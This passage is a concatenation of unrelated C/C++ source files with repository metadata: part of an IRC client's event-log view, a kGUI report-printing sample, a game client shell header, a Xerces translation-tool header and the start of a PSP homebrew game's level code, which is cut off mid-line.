Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowTransfers ,_T("Show Transfers")); Flags = (m_ActiveFilterGroupIDs.Find(ELFI_CTCPs) >= 0 ? MF_UNCHECKED : MF_CHECKED); Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowCTCPs ,_T("Show CTCPs")); Flags = (m_ActiveFilterGroupIDs.Find(ELFI_Others) >= 0 ? MF_UNCHECKED : MF_CHECKED); Menu.AppendMenu(MF_STRING | Flags,ELMI_ShowOther ,_T("Show Others")); //MF_CHECKED //MF_UNCHECKED POINT pt; ::GetCursorPos(&pt); g_pMainWnd->m_CmdBar.TrackPopupMenu(Menu, TPM_LEFTALIGN | TPM_RIGHTBUTTON, pt.x, pt.y); //::TrackPopupMenu(Menu, 0, pt.x, pt.y, 0, m_hWnd, NULL); return bHandled ? 1 : 0; // NM_RCLICK - Return nonzero to not allow the default processing, or zero to allow the default processing // or in otherwords, return zero to allow the default processing // or 1 if handled. } LRESULT CEventLogView::OnMenuItemSelected(WORD wNotifyCode, WORD wID, HWND hWndCtl, BOOL& bHandled) { DoAction(wID); return 0; } void CEventLogView::InitFilterGroups( void ) { EventLogFilterGroup *pELFG; int IL_Notices[] = {ELID_Notice, -1}; pELFG = new EventLogFilterGroup(ELFI_Notices, IL_Notices ); if (pELFG) m_FilterListGroups.Add(pELFG); int IL_Messages[] = {ELID_PrivMsg, -1}; pELFG = new EventLogFilterGroup(ELFI_Messages, IL_Messages ); if (pELFG) m_FilterListGroups.Add(pELFG); int IL_Highlights[] = {ELID_Highlight, -1}; pELFG = new EventLogFilterGroup(ELFI_Highlights, IL_Highlights ); if (pELFG) m_FilterListGroups.Add(pELFG); int IL_Connects[] = {ELID_Connect, ELID_LoggedIn, -1}; pELFG = new EventLogFilterGroup(ELFI_Connects, IL_Connects ); if (pELFG) m_FilterListGroups.Add(pELFG); int IL_Disconnects[] = {ELID_Disconnect, -1}; pELFG = new EventLogFilterGroup(ELFI_Disconnects, IL_Disconnects ); if (pELFG) m_FilterListGroups.Add(pELFG); int IL_Transfers[] = {ELID_DCC_Receive, ELID_DCC_Send, ELID_DCC_ReceiveComplete, ELID_DCC_ReceiveFailed, ELID_DCC_SendComplete, ELID_DCC_SendFailed, -1}; pELFG = new EventLogFilterGroup(ELFI_Transfers, IL_Transfers ); if (pELFG) m_FilterListGroups.Add(pELFG); int IL_CTCPs[] = {ELID_CTCP_Sound, ELID_CTCP_Version, ELID_CTCP_Ping, ELID_CTCP_Time, -1}; pELFG = new EventLogFilterGroup(ELFI_CTCPs, IL_CTCPs ); if (pELFG) m_FilterListGroups.Add(pELFG); int IL_Others[] = {ELID_Unknown, ELID_Kicked, ELID_Wallops, ELID_Notification, ELID_Quit, ELID_Part, ELID_Join, -1}; pELFG = new EventLogFilterGroup(ELFI_Others, IL_Others ); if (pELFG) m_FilterListGroups.Add(pELFG); } void CEventLogView::DoAction( int Action ) { EventLogItem *pELI; int i; if (Action >= ELMI_FIRSTSHOWACTION && Action <= ELMI_LASTSHOWACTION) { // filter/unfilter event log items. // convert action id into a "EventLogFilterGroupIDs" // (see EventLogFilterIDs and EventLogMenuIDs) int FilterGroupID = Action - ELMI_FIRSTSHOWFILTER + ELFI_FIRST; sys_Printf(BIC_INFO,"FilterGroupID = %d, Action = %d\n", FilterGroupID, Action); if (FilterGroupID >= ELFI_FIRST && FilterGroupID <= ELFI_LAST) { // enable/disable specific filters. int index; EventLogFilterGroup *pELFG; BOOL Found = FALSE; // get a handle to the filter list group specified for (i = 0; i < m_FilterListGroups.GetSize() && !Found; i++) { pELFG = m_FilterListGroups[i]; if (FilterGroupID == pELFG->m_FilterID) Found = TRUE; } if (Found) // known group? It should always be known but check anyway in case of low memory { index = m_ActiveFilterGroupIDs.Find(FilterGroupID); if (index >=0) { m_ActiveFilterGroupIDs.RemoveAt(index); // remove the list of EventLog ID's from the current m_IntFilterList for (i = 0; i < pELFG->m_EventLogIDList.GetSize(); i++) { index = m_IntFilterList.Find(pELFG->m_EventLogIDList[i]); if (index >=0) { m_IntFilterList.RemoveAt(index); } } } else { // we didn't find FilterID in the list of active groups then we // need to add the eventlogid's to the m_intfilterlist // add add the filterid group to the active group list m_ActiveFilterGroupIDs.Add(FilterGroupID); for (i = 0; i < pELFG->m_EventLogIDList.GetSize(); i++) { m_IntFilterList.Add(pELFG->m_EventLogIDList[i]); } } } } else { switch (Action) { case ELMI_ShowAll: // remove everything m_IntFilterList.RemoveAll(); m_ActiveFilterGroupIDs.RemoveAll(); break; case ELMI_ShowNone: // remove everything... m_IntFilterList.RemoveAll(); m_ActiveFilterGroupIDs.RemoveAll(); // ... then add everything (easier to code..) for (i = ELID_FIRST; i < ELID_LAST; i++) { m_IntFilterList.Add(i); } for (i = 0; i < m_FilterListGroups.GetSize(); i++) { m_ActiveFilterGroupIDs.Add(m_FilterListGroups[i]->m_FilterID); } break; } } // TODO: Call ValidateActiveFilterGroupsList() // which needs to check each active groups's id list to make sure // they're in the current m_IntFilterList and if one or more of the groups // id list values is NOT in the m_IntFilterList then move the group // from m_ActiveFilterGroupIDs if (m_FilterList) free(m_FilterList); m_FilterList = CreateSimpleFilter(m_IntFilterList, FILTER_EXCLUDE); RefreshItems(); } else { // process actions for each event log item. for (int i = 0 ; i < m_EventLogListCtrl.GetItemCount(); i ++) { pELI = (EventLogItem *)m_EventLogListCtrl.GetItemData(i); if (!pELI) continue; if (LVIS_SELECTED & m_EventLogListCtrl.GetItemState(i,LVIS_SELECTED)) { char m_CopyItem[512]; switch (Action) { case ELMI_Action: DoDefaultAction(pELI); break; case ELMI_CopyTime: m_EventLogListCtrl.GetItemText(i,0,m_CopyItem,512); Clipboard_Copy(CF_TEXT, m_CopyItem, strlen(m_CopyItem) + 1); break; case ELMI_CopyContent: m_EventLogListCtrl.GetItemText(i,2,m_CopyItem,512); Clipboard_Copy(CF_TEXT, m_CopyItem, strlen(m_CopyItem) + 1); break; case ELMI_Delete: m_EventLogListCtrl.DeleteItem(i); m_pEventLogMgr->m_EventLog.Remove(pELI); delete pELI; i --; // step back one. break; } } else { // do actions for non-selected items switch (Action) { case ELMI_SelectAll: m_EventLogListCtrl.SetItemState(i, LVIS_SELECTED, LVIS_SELECTED); break; } } // do actions for selected/non-selected items switch (Action) { case ELMI_DeleteAll: m_EventLogListCtrl.DeleteItem(i); m_pEventLogMgr->m_EventLog.Remove(pELI); delete pELI; i --; // step back one. break; } } } } void CEventLogView::DoDefaultAction( EventLogItem *pELI ) { if (!pELI) return; // server still valid and on same network ? if (pELI && g_ServerList.Find(pELI->m_pServer) >= 0 && pELI->m_pServer->m_pDetails->m_NetworkID == pELI->m_NetworkID) { switch (pELI->m_Type) { case ELIT_USER: { pELI->m_pServer->CreateQuery(pELI->m_From,NULL); IRCQuery *pQuery = pELI->m_pServer->FindQuery(pELI->m_From); // and show it! if (pQuery) pQuery->ShowQueryWindow(); } break; case ELIT_SERVER: case ELIT_DCC: { if (pELI->m_pServer && pELI->m_pServer->m_pChildWnd) pELI->m_pServer->m_pChildWnd->ActivateWindow(); //g_pMainWnd->MDIActivate(pELI->m_pServer->m_pChildWnd->m_hWnd); } break; case ELIT_CHANNEL: { IRCChannel *pChannel = pELI->m_pServer->FindChannel(pELI->m_pChannel); if (!pChannel) pChannel = pELI->m_pServer->CreateChannel(pELI->m_ChannelName); // and show it! if (pChannel && pChannel->m_pChildWnd) pELI->m_pChannel->m_pChildWnd->ActivateWindow(); //g_pMainWnd->MDIActivate(pELI->m_pChannel->m_pChildWnd->m_hWnd); } break; } } else { sys_Printf(BIC_INFO,"Server doesn't exist, or is connected to a different network\n"); // TODO: for a future version.. // We could search for a server connected to the same network, or search for // a server with the same servername as the one we stored. // too much work for now. } } // TODO: add this functionality to the item's context menu. LRESULT CEventLogView::OnNmDblClick(int /*idCtrl*/, LPNMHDR pnmh, BOOL& /*bHandled*/) { LPNMITEMACTIVATE lpnmitem = (LPNMITEMACTIVATE) pnmh; if (lpnmitem->iItem != -1) { EventLogItem *pELI; pELI = (EventLogItem *) m_EventLogListCtrl.GetItemData(lpnmitem->iItem); DoDefaultAction(pELI); } return 0; } LRESULT CEventLogView::OnNmCustomDraw(int idCtrl, LPNMHDR pnmh, BOOL& bHandled) { LPNMLVCUSTOMDRAW pNMH = (LPNMLVCUSTOMDRAW)pnmh; switch(pNMH->nmcd.dwDrawStage) { case CDDS_PREPAINT: return CDRF_NOTIFYITEMDRAW; case CDDS_ITEMPREPAINT: { EventLogItem *pELI; pELI = (EventLogItem *)pNMH->nmcd.lItemlParam; //sys_Printf(BIC_INFO,"pNMH->nmcd.dwItemSpec == 0x%08x pNMH->nmcd.lItemlParam == 0x%08x\n",pNMH->nmcd.dwItemSpec, pNMH->nmcd.lItemlParam); // if these are the same then we're being told about column headers, if not // then we're being told about an item and dwItemSpec is the item index // gee thanks for the docs Microsoft, NOT! if ((DWORD) pNMH->nmcd.dwItemSpec == (DWORD) pNMH->nmcd.lItemlParam) return NULL; // don't care about the column headers if (!pELI) return NULL;//CDRF_DODEFAULT ? pNMH->clrText = COLORVAL(item_eventlogtext); pNMH->clrTextBk = COLORVAL(item_eventlogbackground); return NULL;//CDRF_NEWFONT; } break; } // shouldn't get here the return value is just to shut the compiler up. #ifdef DEBUG ATLASSERT(0); #endif return NULL; } void CEventLogView::OnEvent(int EventID, void *pData) { switch(EventID) { case EV_PREFSCHANGED: UpdateSettings(); break; } } void CEventLogView::UpdateSettings( void ) { if (g_pPrefs) { m_EventLogListCtrl.SetBkColor(COLORVAL(item_eventlogbackground)); } }
[ "hydra@b2473a34-e2c4-0310-847b-bd686bddb4b0" ]
[ [ [ 1, 774 ] ] ]
c8a342334fe43776b0af63512462ca7c8f2998ec
bfcc0f6ef5b3ec68365971fd2e7d32f4abd054ed
/samples/report/report.cpp
ebe6a75e0fec943210b0f13575861383e6c4d8e7
[]
no_license
cnsuhao/kgui-1
d0a7d1e11cc5c15d098114051fabf6218f26fb96
ea304953c7f5579487769258b55f34a1c680e3ed
refs/heads/master
2021-05-28T22:52:18.733717
2011-03-10T03:10:47
2011-03-10T03:10:47
null
0
0
null
null
null
null
UTF-8
C++
false
false
8,193
cpp
/*********************************************************************************/ /* Events - kGUI sample program showing report printing */ /* */ /* Programmed by Kevin Pickell */ /* 18-May-2008 */ /* */ /*********************************************************************************/ #include "kgui.h" #define APPNAME "Report Sample" #if defined(WIN32) || defined(MINGW) #include "resource.h" #endif #include "kguisys.cpp" /* print a report, add user items to the report print preview page */ class ReportSample { public: ReportSample(); ~ReportSample(); private: CALLBACKGLUEPTR(ReportSample,ButtonEvent,kGUIEvent); /* make a static connection to the callback */ void ButtonEvent(kGUIEvent *event); /* combo box showing lists of printers */ kGUIComboBoxObj m_printerlist; kGUIButtonObj m_previewbutton; kGUIButtonObj m_printbutton; }; /* my report */ #include "kguireport.h" class MyReport : public kGUIReport { public: MyReport(int pid); ~MyReport(); private: int GetPPI(void) {return 125;} /* pixels per inch */ double GetPageWidth(void) {return -1.0f;} /* inches */ double GetPageHeight(void) {return -1.0f;} /* inches */ double GetLeftMargin(void) {return 0.25f;} /* inches */ double GetRightMargin(void) {return 0.25f;} /* inches */ double GetTopMargin(void) {return 0.25f;} /* inches */ double GetBottomMargin(void) {return 0.25f;} /* inches */ void Setup(void); void Setup(int page); const char *GetName(void) {return "My Report Title";} /********************************/ /* put uset controls that will appear in the print preview page here */ kGUITextObj m_tnumlines; kGUIInputBoxObj m_inumlines; kGUITextObj m_tfontsize; kGUIInputBoxObj m_ifontsize; /* this will be duplicated at the top of EACH page */ kGUIReportTextObj m_pagenofn; kGUIReportTextObj m_pagetitle; kGUIReportTextObj m_pagedatetime; /* this is int the body */ ClassArray<kGUIReportTextObj>m_lines; kGUIReportRowHeaderObj m_rowheader; }; MyReport::MyReport(int pid) { //printer to use SetPID(pid); /* add custom controls to the print preview panel */ m_tnumlines.SetString("Number of Lines:"); AddUserControl(&m_tnumlines); m_inumlines.SetString("25"); m_inumlines.SetSize(100,m_tnumlines.GetZoneH()); AddUserControl(&m_inumlines); m_tfontsize.SetString("Starting Font Size:"); AddUserControl(&m_tfontsize); m_ifontsize.SetString("50"); m_ifontsize.SetSize(100,m_tfontsize.GetZoneH()); AddUserControl(&m_ifontsize); m_lines.Init(16,16); } void MyReport::Setup(void) { int ppw,pph; int i,fs,y,numlines,fontsize; kGUIDate date; kGUIString timestring; kGUIReportTextObj *t; numlines=m_inumlines.GetInt(); fontsize=m_ifontsize.GetInt(); /* get page size in pixels */ GetPageSizePixels(&ppw,&pph); m_pagenofn.SetPos(0,0); /* text will be overwritten during the Setup code for each page */ m_pagenofn.SetString("Page x of x"); AddObjToSection(REPORTSECTION_PAGEHEADER,&m_pagenofn); m_pagetitle.SetPos(0,0); m_pagetitle.SetString("My Page Title!"); m_pagetitle.SetZoneW(ppw); m_pagetitle.SetHAlign(FT_CENTER); AddObjToSection(REPORTSECTION_PAGEHEADER,&m_pagetitle); /* generate a string for date/time */ date.SetToday(); date.LongDate(&m_pagedatetime); date.Time(&timestring); m_pagedatetime.ASprintf(" %s",timestring.GetString()); m_pagedatetime.SetPos(0,0); m_pagedatetime.SetZoneW(ppw); m_pagedatetime.SetHAlign(FT_RIGHT); AddObjToSection(REPORTSECTION_PAGEHEADER,&m_pagedatetime); fs=fontsize; y=0; for(i=0;i<numlines;++i) { t=m_lines.GetEntryPtr(i); /* get a report text object */ t->SetPos(0,y); t->SetFontSize(fs); t->SetString("Hello World!"); t->SetSize(t->GetWidth()+6,t->GetLineHeight()+6); y+=t->GetZoneH(); /* attach to the page */ AddObjToSection(REPORTSECTION_BODY,t); ++fs; } #if 0 int i,ne,x,y,w,xcol; GPXRow *row; GridLine *line; int oldsize; oldsize=kGUI::GetDefReportFontSize(); kGUI::SetDefReportFontSize(gpx->GetTableFontSize()); // SetBitmapMode(true); /* send to printer as a bitmap */ /* count number of visible columns */ ne=0; for(i=0;i<m_table->GetNumCols();++i) { if(m_table->GetColShow(i)==true) ++ne; } m_rowheader.SetNumColumns(m_table->GetNumCols()); x=0; y=0; for(i=0;i<m_table->GetNumCols();++i) { xcol=m_table->GetColOrder(i); if(m_table->GetColShow(xcol)==true) { w=m_table->GetColWidth(xcol)+12; m_rowheader.SetColX(y,x); m_rowheader.SetColWidth(y,w); m_rowheader.SetColName(y,wpcolnames[xcol]); x+=w; ++y; } } m_rowheader.SetZoneH(20); AddObjToSection(REPORTSECTION_PAGEHEADER,&m_rowheader,false); ne=m_table->GetNumChildren(); y=0; for(i=0;i<ne;++i) { row=static_cast<GPXRow *>(m_table->GetChild(i)); line=new GridLine(&m_rowheader,m_table,row,(i&1)==1); line->SetZoneY(y); AddObjToSection(REPORTSECTION_BODY,line,true); y+=line->GetZoneH(); } kGUI::SetDefReportFontSize(oldsize); #endif } /* this is called before printing each page */ void MyReport::Setup(int page) { m_pagenofn.Sprintf("Page %d of %d",page,GetNumPages()); } MyReport::~MyReport() { //save selected printer for using as the default next time // gpx->m_MyReport.SetString(kGUI::GetPrinterObj(GetPID())->GetName()); } ReportSample *g_eventsample; void AppInit(void) { kGUI::LoadFont("font.ttf",false); /* use default font inside kgui */ kGUI::LoadFont("font.ttf",true); /* use default font inside kgui as bold*/ kGUI::SetDefFontSize(15); kGUI::SetDefReportFontSize(20); g_eventsample=new ReportSample(); } void AppClose(void) { delete g_eventsample; } ReportSample::ReportSample() { unsigned int i,numprinters; int def; kGUIWindowObj *background; background=kGUI::GetBackground(); background->SetTitle("Report Sample"); numprinters=kGUI::GetNumPrinters(); m_printerlist.SetNumEntries(kGUI::GetNumPrinters()); for(i=0;i<kGUI::GetNumPrinters();++i) m_printerlist.SetEntry(i,kGUI::GetPrinterObj(i)->GetName(),i); /* set default to 'current' printer */ def=kGUI::GetDefPrinterNum(); if(def>=0) m_printerlist.SetSelection(def); /* combo box for selecting the printer to use */ i=MIN(350,m_printerlist.GetWidest()); m_printerlist.SetPos(10,10); m_printerlist.SetSize(i,20); background->AddObject(&m_printerlist); /* add a button */ m_previewbutton.SetPos(25,100); /* x,y */ m_previewbutton.SetSize(300,50); /* width, height */ m_previewbutton.SetFontSize(30); /* in points */ m_previewbutton.SetColor(DrawColor(255,0,255)); /* purple */ m_previewbutton.SetString("Print Preview"); /* set button text */ /* add the button to the background window */ background->AddObject(&m_previewbutton); /* add a button */ m_printbutton.SetPos(350,100); /* x,y */ m_printbutton.SetSize(300,50); /* width, height */ m_printbutton.SetFontSize(30); /* in points */ m_printbutton.SetColor(DrawColor(0,255,255)); /* purple */ m_printbutton.SetString("Print"); /* set button text */ /* add the button to the background window */ background->AddObject(&m_printbutton); m_previewbutton.SetEventHandler(this,CALLBACKNAME(ButtonEvent)); m_printbutton.SetEventHandler(this,CALLBACKNAME(ButtonEvent)); kGUI::ShowWindow(); } /* you can have a unique event handler for each object, or you can have one to handle many objects */ void ReportSample::ButtonEvent(kGUIEvent *event) { switch(event->GetEvent()) { case EVENT_PRESSED: { MyReport *rep; rep=new MyReport(m_printerlist.GetSelection()); if(event->GetObj()==&m_previewbutton) rep->Preview(); else rep->Print(); } break; } } ReportSample::~ReportSample() { }
[ "[email protected]@4b35e2fd-144d-0410-91a6-811dcd9ab31d" ]
[ [ [ 1, 303 ] ] ]
c694e5349eba58047f5608a550004b43d1d1d4d8
c95a83e1a741b8c0eb810dd018d91060e5872dd8
/Game/ClientShellDLL/TO2/TO2GameClientShell.h
c15a165dba0a730a9305f43c97859e9a861ca2fe
[]
no_license
rickyharis39/nolf2
ba0b56e2abb076e60d97fc7a2a8ee7be4394266c
0da0603dc961e73ac734ff365bfbfb8abb9b9b04
refs/heads/master
2021-01-01T17:21:00.678517
2011-07-23T12:11:19
2011-07-23T12:11:19
38,495,312
1
0
null
null
null
null
UTF-8
C++
false
false
1,791
h
// ----------------------------------------------------------------------- // // // MODULE : TO2GameClientShell.h // // PURPOSE : Game Client Shell - Definition // // CREATED : 11/5/01 // // (c) 1997-2000 Monolith Productions, Inc. All Rights Reserved // // ----------------------------------------------------------------------- // #ifndef __TO2GAME_CLIENT_SHELL_H__ #define __TO2GAME_CLIENT_SHELL_H__ #include "GameClientShell.h" #include "TO2InterfaceMgr.h" #include "TO2PlayerMgr.h" #include "TO2VersionMgr.h" #include "TO2ClientWeaponAllocator.h" #include "TO2MissionButeMgr.h" class CTO2GameClientShell : public CGameClientShell { public: declare_interface(CTO2GameClientShell); CTO2GameClientShell(); ~CTO2GameClientShell(); virtual CInterfaceMgr * GetInterfaceMgr() { return &m_InterfaceMgr;} virtual CPlayerMgr * GetPlayerMgr() { return &m_PlayerMgr;} virtual CClientWeaponAllocator const *GetClientWeaponAllocator() const { return &m_ClientWeaponAllocator; } virtual uint32 OnEngineInitialized(RMode *pMode, LTGUID *pAppGuid); virtual LTRESULT ProcessPacket(ILTMessage_Read *pMsg, uint8 senderAddr[4], uint16 senderPort); virtual void OnMessage(ILTMessage_Read *pMsg); // Are we able to use the radar functionality virtual bool ShouldUseRadar( ) { return true; } virtual void OnEnterWorld(); private: CTO2InterfaceMgr m_InterfaceMgr; // Interface manager CTO2VersionMgr m_VersionMgr; // Same as g_pVersionMgr CTO2PlayerMgr m_PlayerMgr; // Interface manager CTO2MissionButeMgr m_MissionButeMgr; // Same as g_pMissionButeMgr // allocator for client weapons CTO2ClientWeaponAllocator m_ClientWeaponAllocator; }; #endif // __TO2_GAME_CLIENT_SHELL_H__
[ [ [ 1, 56 ] ] ]
3a2a3e444055e96b12efbc510507cfda871bf138
b14d5833a79518a40d302e5eb40ed5da193cf1b2
/cpp/extern/xercesc++/2.6.0/tools/NLS/Xlat/Xlat.hpp
72f954b4f6b8d620273fd5331bcb5909f9720f29
[ "Apache-2.0" ]
permissive
andyburke/bitflood
dcb3fb62dad7fa5e20cf9f1d58aaa94be30e82bf
fca6c0b635d07da4e6c7fbfa032921c827a981d6
refs/heads/master
2016-09-10T02:14:35.564530
2011-11-17T09:51:49
2011-11-17T09:51:49
2,794,411
1
0
null
null
null
null
UTF-8
C++
false
false
4,342
hpp
/* * Copyright 1999-2000,2004 The Apache Software Foundation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * $Log: Xlat.hpp,v $ * Revision 1.10 2004/09/08 13:57:07 peiyongz * Apache License Version 2.0 * * Revision 1.9 2003/04/14 08:41:00 gareth * Xlat now works under linux - Big thanks to Neil Graham (I no longer have to find a windows box). Still slight problems working with glibc before 2.2.4 (If you mess up the parameters it seg faults due to handling of wprintf) * * Revision 1.8 2002/11/05 22:10:06 tng * Explicit code using namespace in application. * * Revision 1.7 2002/09/30 22:09:58 peiyongz * To generate icu resource file (in text) for error message. * * Revision 1.6 2002/07/04 17:40:07 tng * Use new DOM in Xlat. * * Revision 1.5 2002/02/01 23:48:37 peiyongz * sane_include * * Revision 1.4 2001/05/03 19:09:38 knoaman * Support Warning/Error/FatalError messaging. * Validity constraints errors are treated as errors, with the ability by user to set * validity constraints as fatal errors. * * Revision 1.3 2000/03/02 19:55:53 roddey * This checkin includes many changes done while waiting for the * 1.1.0 code to be finished. I can't list them all here, but a list is * available elsewhere. * * Revision 1.2 2000/02/06 07:48:41 rahulj * Year 2K copyright swat. * * Revision 1.1.1.1 1999/11/09 01:01:14 twl * Initial checkin * * Revision 1.4 1999/11/08 20:42:05 rahul * Swat for adding in Product name and CVS comment log variable. * */ // --------------------------------------------------------------------------- // Some globally used types // --------------------------------------------------------------------------- enum MsgTypes { MsgType_Warning , MsgType_Error , MsgType_FatalError , MsgTypes_Count }; // --------------------------------------------------------------------------- // Includes // --------------------------------------------------------------------------- #include <stdio.h> #include <wchar.h> #include <stdlib.h> #include <xercesc/util/XercesDefs.hpp> #include <xercesc/util/PlatformUtils.hpp> #include <xercesc/util/TransService.hpp> #include <xercesc/sax/SAXParseException.hpp> #include <xercesc/parsers/XercesDOMParser.hpp> #include <xercesc/dom/DOM.hpp> #include "Xlat_ErrHandler.hpp" #include "Xlat_Types.hpp" #include "Xlat_Formatter.hpp" #include "Xlat_CppSrc.hpp" #include "Xlat_Win32RC.hpp" #include "Xlat_MsgCatalog.hpp" #include "Xlat_ICUResourceBundle.hpp" XERCES_CPP_NAMESPACE_USE // --------------------------------------------------------------------------- // Some const global data // --------------------------------------------------------------------------- extern XMLCh* typePrefixes[MsgTypes_Count]; // this ugly hack is needed because cygwin/linux and Windows (MSVC++) // have irreconcileable differences about what to do with chars, wchar_t and XMLCh // in wfprintf. Windows thinks that XMLCh * is fine here whereas // char * is not; gcc will allow XMLCh to be cast to wchar_t but happily // prints out gobbledygook in this case; it only seems happy when // the native transcoder is used to convert the XMLCh to a char * #if defined(__linux__) || defined(__CYGWIN__) extern char *fTmpStr; #define xmlStrToPrintable(xmlStr) \ (fTmpStr = XMLString::transcode(xmlStr)) #define releasePrintableStr \ XMLString::release(&fTmpStr); #define longChars(str) str #elif defined(_WIN32) || defined(WIN32) || defined(__WINDOWS__) extern wchar_t *longChars(const char *str); #define xmlStrToPrintable(xmlStr) xmlStr #define releasePrintableStr #else #error Code requires port to host OS! #endif
[ [ [ 1, 121 ] ] ]
14b4bd28e5eeb494266271f8be10aed4fee8f453
f66ffa711780e966f65a84c9d66ade5766a8dc0c
/game.cpp
53e411305531db54def187f75fb89bb4a5fa63be
[]
no_license
PSP-Archive/lightning
efd069b9ce9c0d3acdef1fcc8e87db0182ce2a9f
c1c055ff0cfdca65064e8f33dbd8bf4742c104f8
refs/heads/master
2021-08-27T15:25:19.450930
2011-07-06T16:08:51
2011-07-06T16:08:51
null
0
0
null
null
null
null
UTF-8
C++
false
false
18,774
cpp
/* game.c by Yosh alias Hitman_07 23/04/11 */ #include <oslib/oslib.h> #include "ppc.h" #include "constants.h" #include "game.h" #include "tinylib.h" int play(OSL_SOUND *congrats, OSL_SOUND *won, OSL_SOUND *appear, OSL_SOUND *fx, OSL_SOUND *critic, OSL_SOUND *hurt, Color *Bg_col, int *bg_col_m, OSL_SOUND *mgame, OSL_FONT *f, int mode) { int hitDmg, level = 1; bool sublevel = false, launch = true; OSL_COLOR bgColor = NULL; bgColor = RGBA(R_BG,G_BG,B_BG,255); OSL_IMAGE *player = NULL; player = oslLoadImageFilePNG("./res/player.png",OSL_IN_RAM,OSL_PF_8888); player->x = (WIDTH - player->sizeX) / 2; player->y = (HEIGHT - player->sizeY) / 2; Result Over; Over.quit = false; oslPlaySound(mgame, 1); oslSetSoundLoop(mgame, 1); if (mode == EASY) hitDmg = HITDMG; else if (mode == NORMAL) hitDmg = HITDMG*2; else if (mode == HARD) hitDmg = HITDMG*4; else hitDmg = HITDMG*8; while (level <5 && !Over.quit && !osl_quit) { startScreen(f, level, sublevel); if (launch) oslPlaySound(appear, 3), launch = false; Over = gameLevel(fx, critic, hurt, mgame, Bg_col, bg_col_m, f, hitDmg, level, sublevel, bgColor, player); if (!Over.quit) { if (Over.life >0) { if (!(level == 4 && sublevel)) oslPlaySound(won, 6); if (sublevel) level ++; sublevel = !sublevel; } else overScreen(congrats, f, false); } } oslStopSound(appear); oslStopSound(fx); oslStopSound(hurt); oslStopSound(critic); oslStopSound(won); oslStopSound(congrats); oslStopSound(mgame); if (level >4) overScreen(congrats, f, true); oslDeleteImage(player); return 1; } Result gameLevel(OSL_SOUND *fx, OSL_SOUND *critic, OSL_SOUND *hurt, OSL_SOUND *mgame, Color *Bg_col, int *bg_col_m, OSL_FONT *f, int hitDmg, int level, bool sublevel, OSL_COLOR bgColor, OSL_IMAGE *player) { bool playing = true, tboltOn[4] = {false}, game_quit = false, lost_game = false, won_game = false, critic_on = false; int i, j, k, m, height[2], alpha = 255, alpha2 = alpha, delta[4] = {alpha}, redraw = 1, boltOn[4][4] = {{0}}, time = 0, oldTime = 0, timeLimit, timeLevel; int nbBolt[4], maxBoltX, maxBoltY, n, hitDelay = HITUNIT, Score = 0; char score[20] = {NULL}, health[20] = {NULL}; OSL_IMAGE *hbolt = NULL, *vbolt = NULL, *tbolt1 = NULL, *tbolt2 = NULL; hbolt=oslLoadImageFilePNG("./res/hbolt.png",OSL_IN_RAM,OSL_PF_8888); vbolt=oslLoadImageFilePNG("./res/vbolt.png",OSL_IN_RAM,OSL_PF_8888); tbolt1=oslLoadImageFilePNG("./res/tbolt1.png",OSL_IN_RAM,OSL_PF_8888); tbolt2=oslLoadImageFilePNG("./res/tbolt2.png",OSL_IN_RAM,OSL_PF_8888); Address boltPos[4][4], tboltPos[4]; Color Progress; Result Over; Over.life = 100; Over.quit = false; oslIntraFontSetStyle(f, 0.6f,RGBA(255,255,255,255), RGBA(0,0,0,224),INTRAFONT_ALIGN_LEFT); oslSetFont(f); height[0] = osl_curFont->charHeight; oslIntraFontSetStyle(f, 0.7f,RGBA(255,255,255,255), RGBA(0,0,0,224),INTRAFONT_ALIGN_CENTER); oslSetFont(f); height[1] = osl_curFont->charHeight; //width = oslGetStringWidth(text); // initial score calculation for (i=1;i<(level-1)*2;i++) { Score+= 10*(TIMEUNIT/60)*(i*2-1); Score+= 10*(TIMEUNIT/60)*(i*2); } if (sublevel) { Score+= 10*(TIMEUNIT/60)*(level*2-1); } // sets lightning bolts's locations for (i=LEFT; i<DOWN+1; i++) { for (j=0; j<4; j++) { if (i == UP) boltPos[i][j].x = ADDRESS_X1, boltPos[i][j].y = -BOLTLAG; else if (i == DOWN) boltPos[i][j].x = ADDRESS_X2, boltPos[i][j].y = HEIGHT - vbolt->sizeY + BOLTLAG; else if (i == LEFT) boltPos[i][j].x = -BOLTLAG, boltPos[i][j].y = ADDRESS_Y1; else boltPos[i][j].x = WIDTH - hbolt->sizeX + BOLTLAG, boltPos[i][j].y = ADDRESS_Y2; } } tboltPos[0].x = -TBOLTLAG; tboltPos[0].y = -TBOLTLAG; tboltPos[1].x = WIDTH-tbolt2->sizeX + TBOLTLAG; tboltPos[1].y = -TBOLTLAG; tboltPos[2].x = -TBOLTLAG; tboltPos[2].y = HEIGHT - tbolt2->sizeY + TBOLTLAG; tboltPos[3].x = WIDTH-tbolt1->sizeX + TBOLTLAG; tboltPos[3].y = HEIGHT - tbolt1->sizeY + TBOLTLAG; // sets corresponding background (darker at each level/stage) and difficulty if (level == 1) { if (sublevel == false) maxBoltX = MAXBOLTX/2, maxBoltY = MAXBOLTY/2, timeLimit = TIMEUNIT*(level*2-1), timeLevel = (TIMEUNIT)*(level*2-1) - (TIMEUNIT)*(level - 1)*2, bgColor = RGBA((R_BG*(10-level*2-1))/8,(G_BG*(10-level*2-1))/8,(B_BG*(10-level*2-1))/8,255); else maxBoltX = MAXBOLTX, maxBoltY = MAXBOLTY, timeLimit = (TIMEUNIT)*(level)*2, timeLevel = (TIMEUNIT)*(level*2) - (TIMEUNIT)*(level*2 - 1), bgColor = RGBA((R_BG*(10-level*2-2))/8,(G_BG*(10-level*2-2))/8,(B_BG*(10-level*2-2))/8,255); } else if (level == 2) { if (sublevel == false) maxBoltX = MAXBOLTX/2, maxBoltY = MAXBOLTY/2, timeLimit = (TIMEUNIT)*(level*2-1), timeLevel = (TIMEUNIT)*(level*2-1) - (TIMEUNIT)*(level - 1)*2, bgColor = RGBA((R_BG*(10-level*2-1))/8,(G_BG*(10-level*2-1))/8,(B_BG*(10-level*2-1))/8,255); else hitDelay = 35, maxBoltX = MAXBOLTX, maxBoltY = MAXBOLTY, timeLimit = (TIMEUNIT)*(level)*2, timeLevel = (TIMEUNIT)*(level*2) - 